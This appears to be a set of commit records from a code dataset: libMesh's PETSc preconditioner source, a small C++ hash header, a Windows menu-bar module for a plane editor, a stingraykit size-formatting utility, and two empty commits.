modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n#include \"libmesh\/libmesh_common.h\"\n\n#ifdef LIBMESH_HAVE_PETSC\n\n\/\/ C++ includes\n\n\/\/ Local Includes\n#include \"libmesh\/petsc_preconditioner.h\"\n#include \"libmesh\/petsc_macro.h\"\n#include \"libmesh\/petsc_matrix.h\"\n#include \"libmesh\/petsc_vector.h\"\n#include \"libmesh\/libmesh_common.h\"\n\n\/\/ PCBJacobiGetSubKSP was defined in petscksp.h in PETSc 2.3.3, 3.1.0\n#if PETSC_VERSION_LESS_THAN(3,1,0)\n\nEXTERN_C_FOR_PETSC_BEGIN\n#include \"petscksp.h\"\nEXTERN_C_FOR_PETSC_END\n\n#endif\n\nnamespace libMesh\n{\n\ntemplate <typename T>\nvoid PetscPreconditioner<T>::apply(const NumericVector<T> & x, NumericVector<T> & y)\n{\n  PetscVector<T> & x_pvec = libmesh_cast_ref<PetscVector<T>&>(const_cast<NumericVector<T>&>(x));\n  PetscVector<T> & y_pvec = libmesh_cast_ref<PetscVector<T>&>(const_cast<NumericVector<T>&>(y));\n\n  Vec x_vec = x_pvec.vec();\n  Vec y_vec = y_pvec.vec();\n\n  int ierr = PCApply(_pc,x_vec,y_vec);\n  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n}\n\n\n\n\ntemplate <typename T>\nvoid PetscPreconditioner<T>::init ()\n{\n  if(!this->_matrix)\n  {\n    libMesh::err << \"ERROR: No matrix set for PetscPreconditioner, but init() called\" << std::endl;\n    libmesh_error();\n  }\n\n  \/\/ Clear the preconditioner in case it has been created in the past\n  if (!this->_is_initialized)\n  {\n    \/\/ Should probably use PCReset(), but it's not working at the moment so we'll destroy instead\n    if (_pc)\n    {\n#if PETSC_VERSION_LESS_THAN(3,2,0)\n      int ierr = PCDestroy(_pc);\n#else\n      int ierr = PCDestroy(&_pc);\n#endif\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n    }\n\n    int ierr = PCCreate(libMesh::COMM_WORLD,&_pc);\n    CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n    PetscMatrix<T> * pmatrix = libmesh_cast_ptr<PetscMatrix<T>*, SparseMatrix<T> >(this->_matrix);\n\n    _mat = pmatrix->mat();\n  }\n\n  int ierr = PCSetOperators(_pc,_mat,_mat,SAME_NONZERO_PATTERN);\n  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n  \/\/ Set the PCType.  Note: this used to be done *before* the call to\n  \/\/ PCSetOperators(), and only when !_is_initialized, but\n  \/\/ 1.) Some preconditioners (those employing sub-preconditioners,\n  \/\/ for example) have to call PCSetUp(), and can only do this after\n  \/\/ the operators have been set.\n  \/\/ 2.) It should be safe to call set_petsc_preconditioner_type()\n  \/\/ multiple times.\n  set_petsc_preconditioner_type(this->_preconditioner_type, _pc);\n\n  this->_is_initialized = true;\n}\n\n\n\n\ntemplate <typename T>\nvoid PetscPreconditioner<T>::set_petsc_preconditioner_type (const PreconditionerType & preconditioner_type, PC & pc)\n{\n  int ierr = 0;\n\n  switch (preconditioner_type)\n  {\n  case IDENTITY_PRECOND:\n    ierr = PCSetType (pc, (char*) PCNONE);      CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case CHOLESKY_PRECOND:\n    ierr = PCSetType (pc, (char*) PCCHOLESKY);  CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case ICC_PRECOND:\n    ierr = PCSetType (pc, (char*) PCICC);       CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case ILU_PRECOND:\n    {\n      \/\/ In serial, just set the ILU preconditioner type\n      if (libMesh::n_processors() == 1)\n\t{\n\t  ierr = PCSetType (pc, (char*) PCILU);\n\t  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\t}\n      else\n\t{\n\t  \/\/ But PETSc has no truly parallel ILU, instead you have to set\n\t  \/\/ an actual parallel preconditioner (e.g. block Jacobi) and then\n\t  \/\/ assign ILU sub-preconditioners.\n\t  ierr = PCSetType (pc, (char*) PCBJACOBI);\n\t  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n\t  \/\/ Set ILU as the sub preconditioner type\n\t  set_petsc_subpreconditioner_type(PCILU, pc);\n\t}\n      break;\n    }\n\n  case LU_PRECOND:\n    {\n      \/\/ In serial, just set the LU preconditioner type\n      if (libMesh::n_processors() == 1)\n\t{\n\t  ierr = PCSetType (pc, (char*) PCLU);\n\t  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\t}\n      else\n\t{\n\t  \/\/ But PETSc has no truly parallel LU, instead you have to set\n\t  \/\/ an actual parallel preconditioner (e.g. block Jacobi) and then\n\t  \/\/ assign LU sub-preconditioners.\n\t  ierr = PCSetType (pc, (char*) PCBJACOBI);\n\t  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n\t  \/\/ Set ILU as the sub preconditioner type\n\t  set_petsc_subpreconditioner_type(PCLU, pc);\n\t}\n      break;\n    }\n\n  case ASM_PRECOND:\n    {\n      \/\/ In parallel, I think ASM uses ILU by default as the sub-preconditioner...\n      \/\/ I tried setting a different sub-preconditioner here, but apparently the matrix\n      \/\/ is not in the correct state (at this point) to call PCSetUp().\n      ierr = PCSetType (pc, (char*) PCASM);\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n      break;\n    }\n\n  case JACOBI_PRECOND:\n    ierr = PCSetType (pc, (char*) PCJACOBI);    CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case BLOCK_JACOBI_PRECOND:\n    ierr = PCSetType (pc, (char*) PCBJACOBI);   CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case SOR_PRECOND:\n    ierr = PCSetType (pc, (char*) PCSOR);       CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case EISENSTAT_PRECOND:\n    ierr = PCSetType (pc, (char*) PCEISENSTAT); CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  case AMG_PRECOND:\n    ierr = PCSetType (pc, (char*) PCHYPRE);     CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n#if !(PETSC_VERSION_LESS_THAN(2,1,2))\n    \/\/ Only available for PETSC >= 2.1.2\n  case USER_PRECOND:\n    ierr = PCSetType (pc, (char*) PCMAT);       CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n#endif\n\n  case SHELL_PRECOND:\n    ierr = PCSetType (pc, (char*) PCSHELL);     CHKERRABORT(libMesh::COMM_WORLD,ierr); break;\n\n  default:\n    libMesh::err << \"ERROR:  Unsupported PETSC Preconditioner: \"\n                  << preconditioner_type       << std::endl\n                  << \"Continuing with PETSC defaults\" << std::endl;\n  }\n\n  \/\/ Set additional options if we are doing AMG and\n  \/\/ HYPRE is available\n#ifdef LIBMESH_HAVE_PETSC_HYPRE\n  if (preconditioner_type == AMG_PRECOND)\n    {\n      ierr = PCHYPRESetType(pc, \"boomeramg\");\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n    }\n#endif\n\n  \/\/ Let the commandline override stuff\n  \/\/ FIXME: Unless we are doing AMG???\n  if (preconditioner_type != AMG_PRECOND)\n    {\n      ierr = PCSetFromOptions(pc);\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n    }\n}\n\n\n\ntemplate <typename T>\n#if PETSC_VERSION_LESS_THAN(3,0,0)\n void PetscPreconditioner<T>::set_petsc_subpreconditioner_type(PCType type, PC& pc)\n#else\n void PetscPreconditioner<T>::set_petsc_subpreconditioner_type(const PCType type, PC& pc)\n#endif\n{\n  \/\/ For catching PETSc error return codes\n  int ierr = 0;\n\n  \/\/ All docs say must call KSPSetUp or PCSetUp before calling PCBJacobiGetSubKSP.\n  \/\/ You must call PCSetUp after the preconditioner operators have been set, otherwise you get the:\n  \/\/\n  \/\/ \"Object is in wrong state!\"\n  \/\/ \"Matrix must be set first.\"\n  \/\/\n  \/\/ error messages...\n  ierr = PCSetUp(pc);\n  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n  \/\/ To store array of local KSP contexts on this processor\n  KSP* subksps;\n\n  \/\/ the number of blocks on this processor\n  int n_local;\n\n  \/\/ The global number of the first block on this processor.\n  \/\/ This is not used, so we just pass PETSC_NULL instead.\n  \/\/ int first_local;\n\n  \/\/ Fill array of local KSP contexts\n  ierr = PCBJacobiGetSubKSP(pc, &n_local, PETSC_NULL, &subksps);\n  CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n  \/\/ Loop over sub-ksp objects, set ILU preconditioner\n  for (int i=0; i<n_local; ++i)\n    {\n      \/\/ Get pointer to sub KSP object's PC\n      PC subpc;\n      ierr = KSPGetPC(subksps[i], &subpc);\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n\n      \/\/ Set requested type on the sub PC\n      ierr = PCSetType(subpc, type);\n      CHKERRABORT(libMesh::COMM_WORLD,ierr);\n    }\n\n}\n\n\n\n\n\/\/------------------------------------------------------------------\n\/\/ Explicit instantiations\ntemplate class PetscPreconditioner<Number>;\n\n} \/\/ namespace libMesh\n\n#endif \/\/ #ifdef LIBMESH_HAVE_PETSC\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @license cc-dict 0.0.3\n * Copyright (c) 2011, Takeru Ohta, phjgt308@gmail.com\n * MIT license\n * https:\/\/github.com\/sile\/cc-dict\/blob\/master\/COPYING\n *\/\n#ifndef DICT_HASH_HH\n#define DICT_HASH_HH\n\n#include <string>\n\nnamespace dict {\n  const unsigned GOLDEN_RATIO_PRIME=(2^31) + (2^29) - (2^25) + (2^22) - (2^19) - (2^16) + 1;\n\n  template<class Key>\n  class hash_functor {\n  public:\n    unsigned operator()(const Key& key) const {\n      return hash(key);\n    }\n  };\n\n  unsigned hash(int key) {\n    return key * GOLDEN_RATIO_PRIME;\n  }\n\n  unsigned hash(unsigned key) {\n    return key * GOLDEN_RATIO_PRIME;\n  }\n\n  unsigned hash(long key) { \n    \/\/ XXX: if sizeof(long) > sizeof(unsigned), the calculation will lose high bits information of key.\n    return key * GOLDEN_RATIO_PRIME;\n  }\n\n  unsigned hash(const char* key) {\n    unsigned h = GOLDEN_RATIO_PRIME;\n    for(const char* c=key; *c != 0; c++)\n      h = (h*33) + *c;\n    return h;\n  }\n\n  unsigned hash(const std::string& key) {\n    return hash(key.c_str());\n  }\n}\n\n#endif\n<commit_msg>unordered_mapに合わせてconst char*はポインタとして扱うように修正<commit_after>\/**\n * @license cc-dict 0.0.3\n * Copyright (c) 2011, Takeru Ohta, phjgt308@gmail.com\n * MIT license\n * https:\/\/github.com\/sile\/cc-dict\/blob\/master\/COPYING\n *\/\n#ifndef DICT_HASH_HH\n#define DICT_HASH_HH\n\n#include <string>\n\nnamespace dict {\n  const unsigned GOLDEN_RATIO_PRIME=(2^31) + (2^29) - (2^25) + (2^22) - (2^19) - (2^16) + 1;\n\n  template<class Key>\n  class hash_functor {\n  public:\n    unsigned operator()(const Key& key) const {\n      return hash(key);\n    }\n  };\n\n  unsigned hash(int key) {\n    return key * GOLDEN_RATIO_PRIME;\n  }\n\n  unsigned hash(unsigned key) {\n    return key * GOLDEN_RATIO_PRIME;\n  }\n\n  unsigned hash(long key) { \n    \/\/ XXX: if sizeof(long) > sizeof(unsigned), the calculation will lose high bits information of key.\n    return key * GOLDEN_RATIO_PRIME;\n  }\n\n  unsigned hash(const char* key) {\n    return hash(reinterpret_cast<long>(key));\n  }\n\n  unsigned hash(const std::string& key) {\n    unsigned h = GOLDEN_RATIO_PRIME;\n    for(const char* c=key.c_str(); *c != 0; c++)\n      h = (h*33) + *c;\n    return h;\n  }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Copyright (C) 2016 Clownacy\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301\n    USA\n*\/\n\n#include <windows.h>\n#include <SDL2\/SDL.h>\n#include <SDL2\/SDL_syswm.h>\n\n#include \"Common.h\"\n#include \"PrjHndl.h\"\n#include \"WinAPI.h\"\n\nnamespace WinAPI\n{\n\nHWND hWnd;\nHMENU hMenu;\nHMENU hSubMenu_File;\nHMENU hSubMenu_View;\nCOLORREF custom_colours[16];\n\nvoid SaveHWND(SDL_Window* const window);\nvoid CreateMenuBar(void);\nvoid HandleWindowsEvent(const SDL_Event* const event);\nbool OpenProjectFilePrompt(char* const filepath);\nvoid EnableMenuBarOption(bool enable, int menu_option);\n\nvoid SaveHWND(SDL_Window* const window)\n{\n\tSDL_SysWMinfo info;\n\tSDL_VERSION(&info.version)\n\tSDL_GetWindowWMInfo(window,&info);\n\thWnd = info.info.win.window;\n}\n\nvoid CreateMenuBar(void)\n{\n\thMenu = CreateMenu();\n\thSubMenu_File = CreatePopupMenu();\n\tAppendMenu(hMenu, MF_STRING | MF_POPUP, (UINT)hSubMenu_File, \"&File\");\n\tAppendMenu(hSubMenu_File, MF_STRING, MENUBAR_FILE_OPENPROJECT, \"&Open\");\n\tAppendMenu(hSubMenu_File, MF_STRING | MF_GRAYED, MENUBAR_FILE_SAVE, \"&Save\");\n\tAppendMenu(hSubMenu_File, MF_STRING | MF_GRAYED, MENUBAR_FILE_CLOSE, \"&Close\");\n\tAppendMenu(hSubMenu_File, MF_SEPARATOR, 0, NULL);\n\tAppendMenu(hSubMenu_File, MF_STRING, MENUBAR_FILE_EXIT, \"&Exit\");\n\thSubMenu_View = CreatePopupMenu();\n\tAppendMenu(hMenu, MF_STRING | MF_POPUP, (UINT)hSubMenu_View, \"&View\");\n\tAppendMenu(hSubMenu_View, MF_STRING, MENUBAR_VIEW_BACKGROUNDCOLOUR, \"&Background Colour...\");\n\n\tSetMenu(hWnd, hMenu);\n\n\tSDL_EventState(SDL_SYSWMEVENT, SDL_ENABLE);\n}\n\nvoid HandleWindowsEvent(const SDL_Event* const event)\n{\n\tif (event->syswm.msg->msg.win.msg == WM_COMMAND)\n\t{\n\t\tswitch (LOWORD(event->syswm.msg->msg.win.wParam))\n\t\t{\n\t\t\tcase MENUBAR_FILE_OPENPROJECT:\n\t\t\t{\n\t\t\t\tchar filename[500] = \"\";\n\t\t\t\tif (WinAPI::OpenProjectFilePrompt(filename) == true)\n\t\t\t\t{\n\t\t\t\t\tif (CurProject != NULL)\n\t\t\t\t\t\tdelete CurProject;\n\t\t\t\t\tCurProject = new Project(filename);\n\n\t\t\t\t\tEnableMenuBarOption(true, MENUBAR_FILE_SAVE);\n\t\t\t\t\tEnableMenuBarOption(true, MENUBAR_FILE_CLOSE);\n\n\t\t\t\t\t\/\/Process initial display\n\t\t\t\t\tMainScreen->Fill(MainScreen->BackgroundColour.red, MainScreen->BackgroundColour.green, MainScreen->BackgroundColour.blue);\n\t\t\t\t\tCurProject->Redraw();\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase MENUBAR_FILE_SAVE:\n\t\t\t{\n\t\t\t\tCurProject->Save();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase MENUBAR_FILE_CLOSE:\n\t\t\t{\n\t\t\t\tdelete CurProject;\n\t\t\t\tCurProject = NULL;\t\/\/ Deleting an object does not NULL this pointer, so we have to do it ourselves\n\t\t\t\tEnableMenuBarOption(false, MENUBAR_FILE_SAVE);\n\t\t\t\tEnableMenuBarOption(false, MENUBAR_FILE_CLOSE);\n\t\t\t\tMainScreen->Fill(MainScreen->BackgroundColour.red, MainScreen->BackgroundColour.green, MainScreen->BackgroundColour.blue);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase MENUBAR_FILE_EXIT:\n\t\t\t{\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tcase MENUBAR_VIEW_BACKGROUNDCOLOUR:\n\t\t\t{\n\t\t\t\tCHOOSECOLOR user_colour;\n\t\t\t\tmemset(&user_colour, 0, sizeof(user_colour));\n\t\t\t\tuser_colour.lStructSize = sizeof(user_colour);\n\t\t\t\tuser_colour.hwndOwner = hWnd;\n\t\t\t\tuser_colour.rgbResult = RGB(MainScreen->BackgroundColour.red,MainScreen->BackgroundColour.green,MainScreen->BackgroundColour.blue);\n\t\t\t\tuser_colour.lpCustColors = custom_colours;\n\t\t\t\tuser_colour.Flags = CC_RGBINIT;\n\t\t\t\tif (ChooseColor(&user_colour) == true)\n\t\t\t\t{\n\t\t\t\t\tMainScreen->BackgroundColour.red = GetRValue(user_colour.rgbResult);\n\t\t\t\t\tMainScreen->BackgroundColour.green = GetGValue(user_colour.rgbResult);\n\t\t\t\t\tMainScreen->BackgroundColour.blue = GetBValue(user_colour.rgbResult);\n\t\t\t\t\tMainScreen->Fill(MainScreen->BackgroundColour.red, MainScreen->BackgroundColour.green, MainScreen->BackgroundColour.blue);\n\t\t\t\t\tif (CurProject != NULL)\n\t\t\t\t\t\tCurProject->Redraw();\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n\nbool OpenProjectFilePrompt(char* const filepath)\n{\n\tOPENFILENAME ofn;\n        memset(&ofn, 0, sizeof(ofn));\n        ofn.lStructSize = sizeof(ofn);\n        ofn.hwndOwner = hWnd;\n        ofn.hInstance = NULL;\n        ofn.lpstrFilter = TEXT(\"PlaneEd project file (*.txt)\\0*.txt\\0\\0\");\n        ofn.nFilterIndex = 1;\n        ofn.lpstrFile = filepath;\n        ofn.nMaxFile = 500;\n        ofn.Flags = OFN_FILEMUSTEXIST;\n        bool bRes = GetOpenFileName(&ofn);\n\treturn bRes;\n}\n\nvoid EnableMenuBarOption(bool enable, int menu_option)\n{\n\tHMENU submenu;\n\tif (menu_option > MENUBAR_FILE_START && menu_option < MENUBAR_FILE_END)\n\t\tsubmenu = hSubMenu_File;\n\telse \/\/if (menu_option > MENUBAR_VIEW_START && menu_option < MENUBAR_VIEW_END)\n\t\tsubmenu = hSubMenu_View;\n\n\tEnableMenuItem(submenu, menu_option, enable ? MF_ENABLED : MF_DISABLED);\n}\n\n}\n<commit_msg>Prototypes made this redundant<commit_after>\/*\n    Copyright (C) 2016 Clownacy\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301\n    USA\n*\/\n\n#include <windows.h>\n#include <SDL2\/SDL.h>\n#include <SDL2\/SDL_syswm.h>\n\n#include \"Common.h\"\n#include \"PrjHndl.h\"\n#include \"WinAPI.h\"\n\nnamespace WinAPI\n{\n\nHWND hWnd;\nHMENU hMenu;\nHMENU hSubMenu_File;\nHMENU hSubMenu_View;\nCOLORREF custom_colours[16];\n\nvoid SaveHWND(SDL_Window* const window);\nvoid CreateMenuBar(void);\nvoid HandleWindowsEvent(const SDL_Event* const event);\nbool OpenProjectFilePrompt(char* const filepath);\nvoid EnableMenuBarOption(bool enable, int menu_option);\n\nvoid SaveHWND(SDL_Window* const window)\n{\n\tSDL_SysWMinfo info;\n\tSDL_VERSION(&info.version)\n\tSDL_GetWindowWMInfo(window,&info);\n\thWnd = info.info.win.window;\n}\n\nvoid CreateMenuBar(void)\n{\n\thMenu = CreateMenu();\n\thSubMenu_File = CreatePopupMenu();\n\tAppendMenu(hMenu, MF_STRING | MF_POPUP, (UINT)hSubMenu_File, \"&File\");\n\tAppendMenu(hSubMenu_File, MF_STRING, MENUBAR_FILE_OPENPROJECT, \"&Open\");\n\tAppendMenu(hSubMenu_File, MF_STRING | MF_GRAYED, MENUBAR_FILE_SAVE, \"&Save\");\n\tAppendMenu(hSubMenu_File, MF_STRING | MF_GRAYED, MENUBAR_FILE_CLOSE, \"&Close\");\n\tAppendMenu(hSubMenu_File, MF_SEPARATOR, 0, NULL);\n\tAppendMenu(hSubMenu_File, MF_STRING, MENUBAR_FILE_EXIT, \"&Exit\");\n\thSubMenu_View = CreatePopupMenu();\n\tAppendMenu(hMenu, MF_STRING | MF_POPUP, (UINT)hSubMenu_View, \"&View\");\n\tAppendMenu(hSubMenu_View, MF_STRING, MENUBAR_VIEW_BACKGROUNDCOLOUR, \"&Background Colour...\");\n\n\tSetMenu(hWnd, hMenu);\n\n\tSDL_EventState(SDL_SYSWMEVENT, SDL_ENABLE);\n}\n\nvoid HandleWindowsEvent(const SDL_Event* const event)\n{\n\tif (event->syswm.msg->msg.win.msg == WM_COMMAND)\n\t{\n\t\tswitch (LOWORD(event->syswm.msg->msg.win.wParam))\n\t\t{\n\t\t\tcase MENUBAR_FILE_OPENPROJECT:\n\t\t\t{\n\t\t\t\tchar filename[500] = \"\";\n\t\t\t\tif (OpenProjectFilePrompt(filename) == true)\n\t\t\t\t{\n\t\t\t\t\tif (CurProject != NULL)\n\t\t\t\t\t\tdelete CurProject;\n\t\t\t\t\tCurProject = new Project(filename);\n\n\t\t\t\t\tEnableMenuBarOption(true, MENUBAR_FILE_SAVE);\n\t\t\t\t\tEnableMenuBarOption(true, MENUBAR_FILE_CLOSE);\n\n\t\t\t\t\t\/\/Process initial display\n\t\t\t\t\tMainScreen->Fill(MainScreen->BackgroundColour.red, MainScreen->BackgroundColour.green, MainScreen->BackgroundColour.blue);\n\t\t\t\t\tCurProject->Redraw();\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase MENUBAR_FILE_SAVE:\n\t\t\t{\n\t\t\t\tCurProject->Save();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase MENUBAR_FILE_CLOSE:\n\t\t\t{\n\t\t\t\tdelete CurProject;\n\t\t\t\tCurProject = NULL;\t\/\/ Deleting an object does not NULL this pointer, so we have to do it ourselves\n\t\t\t\tEnableMenuBarOption(false, MENUBAR_FILE_SAVE);\n\t\t\t\tEnableMenuBarOption(false, MENUBAR_FILE_CLOSE);\n\t\t\t\tMainScreen->Fill(MainScreen->BackgroundColour.red, MainScreen->BackgroundColour.green, MainScreen->BackgroundColour.blue);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase MENUBAR_FILE_EXIT:\n\t\t\t{\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tcase MENUBAR_VIEW_BACKGROUNDCOLOUR:\n\t\t\t{\n\t\t\t\tCHOOSECOLOR user_colour;\n\t\t\t\tmemset(&user_colour, 0, sizeof(user_colour));\n\t\t\t\tuser_colour.lStructSize = sizeof(user_colour);\n\t\t\t\tuser_colour.hwndOwner = hWnd;\n\t\t\t\tuser_colour.rgbResult = RGB(MainScreen->BackgroundColour.red,MainScreen->BackgroundColour.green,MainScreen->BackgroundColour.blue);\n\t\t\t\tuser_colour.lpCustColors = custom_colours;\n\t\t\t\tuser_colour.Flags = CC_RGBINIT;\n\t\t\t\tif (ChooseColor(&user_colour) == true)\n\t\t\t\t{\n\t\t\t\t\tMainScreen->BackgroundColour.red = GetRValue(user_colour.rgbResult);\n\t\t\t\t\tMainScreen->BackgroundColour.green = GetGValue(user_colour.rgbResult);\n\t\t\t\t\tMainScreen->BackgroundColour.blue = GetBValue(user_colour.rgbResult);\n\t\t\t\t\tMainScreen->Fill(MainScreen->BackgroundColour.red, MainScreen->BackgroundColour.green, MainScreen->BackgroundColour.blue);\n\t\t\t\t\tif (CurProject != NULL)\n\t\t\t\t\t\tCurProject->Redraw();\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n\nbool OpenProjectFilePrompt(char* const filepath)\n{\n\tOPENFILENAME ofn;\n        memset(&ofn, 0, sizeof(ofn));\n        ofn.lStructSize = sizeof(ofn);\n        ofn.hwndOwner = hWnd;\n        ofn.hInstance = NULL;\n        ofn.lpstrFilter = TEXT(\"PlaneEd project file (*.txt)\\0*.txt\\0\\0\");\n        ofn.nFilterIndex = 1;\n        ofn.lpstrFile = filepath;\n        ofn.nMaxFile = 500;\n        ofn.Flags = OFN_FILEMUSTEXIST;\n        bool bRes = GetOpenFileName(&ofn);\n\treturn bRes;\n}\n\nvoid EnableMenuBarOption(bool enable, int menu_option)\n{\n\tHMENU submenu;\n\tif (menu_option > MENUBAR_FILE_START && menu_option < MENUBAR_FILE_END)\n\t\tsubmenu = hSubMenu_File;\n\telse \/\/if (menu_option > MENUBAR_VIEW_START && menu_option < MENUBAR_VIEW_END)\n\t\tsubmenu = hSubMenu_View;\n\n\tEnableMenuItem(submenu, menu_option, enable ? MF_ENABLED : MF_DISABLED);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stingraykit\/string\/HumanReadableSize.h>\n#include <stingraykit\/string\/ToString.h>\n#include <stingraykit\/string\/regex.h>\n\n\nnamespace stingray\n{\n\n\tnamespace\n\t{\n\n\t\tconst std::string Suffixes(\"kMGTPEZ\");\n\n\t}\n\n\n\tstd::string ToHumanReadableSize(u64 size)\n\t{\n\t\tfor (size_t i = 0; i < Suffixes.size(); ++i)\n\t\t{\n\t\t\tu64 classToCompare = (u64)1 << 10 * (i + 1);\n\t\t\tu64 remainder = size % classToCompare;\n\t\t\tsize_t classModifier = remainder > 0 ? 1 : 0;\n\t\t\tsize_t roundModifier = remainder >= classToCompare \/ 2 ? 1 : 0;\n\t\t\tif (size < (u64)1 << 10 * (i + 1 + classModifier))\n\t\t\t{\n\t\t\t\tu64 result = size \/ ((u64)1 << 10 * i) + roundModifier;\n\t\t\t\tif (i > 0)\n\t\t\t\t\treturn ToString(result) + Suffixes[i - 1];\n\t\t\t\telse\n\t\t\t\t\treturn ToString(result);\n\t\t\t}\n\t\t}\n\n\t\treturn ToString(size);\n\t}\n\n\n\tu64 FromHumanReadableSize(const std::string& str)\n\t{\n\t\tu64 num;\n\t\ttry\n\t\t{\n\t\t\tnum = FromString<u64>(str);\n\t\t\treturn num;\n\t\t}\n\t\tcatch (const std::exception &) { }\n\n\t\tsmatch m;\n\t\tstd::string suffix;\n\t\tif (regex_search(str, m, regex(std::string(\"^(\\\\d+)\") + \"([\" + Suffixes + \"])$\")))\n\t\t{\n\t\t\tnum = FromString<u64>(m[1]);\n\t\t\tsuffix = FromString<std::string>(m[2]);\n\n\t\t\tfor (size_t i = 0; i < Suffixes.size(); ++i)\n\t\t\t\tif (suffix[0] == Suffixes[i])\n\t\t\t\t\treturn num * ((u64)1 << 10 * (i + 1));\n\t\t}\n\n\t\tSTINGRAYKIT_THROW(FormatException(str));\n\t}\n\n}\n<commit_msg>removed redundant newline<commit_after>#include <stingraykit\/string\/HumanReadableSize.h>\n#include <stingraykit\/string\/ToString.h>\n#include <stingraykit\/string\/regex.h>\n\nnamespace stingray\n{\n\n\tnamespace\n\t{\n\n\t\tconst std::string Suffixes(\"kMGTPEZ\");\n\n\t}\n\n\n\tstd::string ToHumanReadableSize(u64 size)\n\t{\n\t\tfor (size_t i = 0; i < Suffixes.size(); ++i)\n\t\t{\n\t\t\tu64 classToCompare = (u64)1 << 10 * (i + 1);\n\t\t\tu64 remainder = size % classToCompare;\n\t\t\tsize_t classModifier = remainder > 0 ? 1 : 0;\n\t\t\tsize_t roundModifier = remainder >= classToCompare \/ 2 ? 1 : 0;\n\t\t\tif (size < (u64)1 << 10 * (i + 1 + classModifier))\n\t\t\t{\n\t\t\t\tu64 result = size \/ ((u64)1 << 10 * i) + roundModifier;\n\t\t\t\tif (i > 0)\n\t\t\t\t\treturn ToString(result) + Suffixes[i - 1];\n\t\t\t\telse\n\t\t\t\t\treturn ToString(result);\n\t\t\t}\n\t\t}\n\n\t\treturn ToString(size);\n\t}\n\n\n\tu64 FromHumanReadableSize(const std::string& str)\n\t{\n\t\tu64 num;\n\t\ttry\n\t\t{\n\t\t\tnum = FromString<u64>(str);\n\t\t\treturn num;\n\t\t}\n\t\tcatch (const std::exception &) { }\n\n\t\tsmatch m;\n\t\tstd::string suffix;\n\t\tif (regex_search(str, m, regex(std::string(\"^(\\\\d+)\") + \"([\" + Suffixes + \"])$\")))\n\t\t{\n\t\t\tnum = FromString<u64>(m[1]);\n\t\t\tsuffix = FromString<std::string>(m[2]);\n\n\t\t\tfor (size_t i = 0; i < Suffixes.size(); ++i)\n\t\t\t\tif (suffix[0] == Suffixes[i])\n\t\t\t\t\treturn num * ((u64)1 << 10 * (i + 1));\n\t\t}\n\n\t\tSTINGRAYKIT_THROW(FormatException(str));\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>almost complete bls<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>versao final do metodo de pre_processamento (ainda nao comentado)<commit_after><|endoftext|>"}
